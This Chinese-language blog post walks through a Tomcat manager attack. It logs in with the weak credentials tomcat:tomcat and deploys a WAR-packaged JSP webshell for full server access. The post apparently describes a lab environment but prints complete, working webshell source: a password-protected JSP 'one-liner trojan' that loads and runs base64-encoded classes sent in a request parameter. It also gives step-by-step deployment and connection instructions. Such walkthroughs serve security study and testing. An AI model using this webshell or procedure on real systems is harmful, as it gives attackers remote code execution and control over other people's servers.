Tomcat7+ 弱口令 && 后台getshell漏洞

发布时间 2023-09-06 15:43:47作者: kalixcn

Tomcat7+ 弱口令 && 后台getshell漏洞

环境说明
Tomcat支持后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。
Tomcat7+权限分为:

  • manger(后台管理)
    • manger-gui拥有html页面权限
    • manger-status拥有查看status的权限
    • mager-jmx拥有jmx权限,和status权限
  • host-manger(虚拟主机管理)
    • admin-gui拥有html页面权限
    • admin-script拥有text接口权限

在conf/tomcat-users.xml文件中配置用户的权限:

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">

    <role rolename="manager-gui"/>
    <role rolename="manager-script"/>
    <role rolename="manager-jmx"/>
    <role rolename="manager-status"/>
    <role rolename="admin-gui"/>
    <role rolename="admin-script"/>
    <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
    
</tomcat-users>

可见,用户tommcat拥有上述所有权限,密码是tomcat。
正常安装的情况下,tomcat8中默认没有任何用户,而且manger页面只允许本地IP访问。只有管理员手工修改这些属性的情况下,才可以进行攻击。

打开tomcat管理页面http://your-ip:8080/manager/html,输入弱密码tomcat:tomcat,即可访问后台:
img

img

在后台管理页面下面,有一个Deploy页面。
在这里上传一个war包,首先选择一个JSP木马,将其命名为muma.jsp,然后将该文件添加到压缩文件,注意是zip类型的压缩文件,然后我们把压缩文件重命名为muma.war,使用蚁剑连接http://10.10.10.154/muma/muma.jsp

<!-- jsp一句话木马,连接密码是passwd -->
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>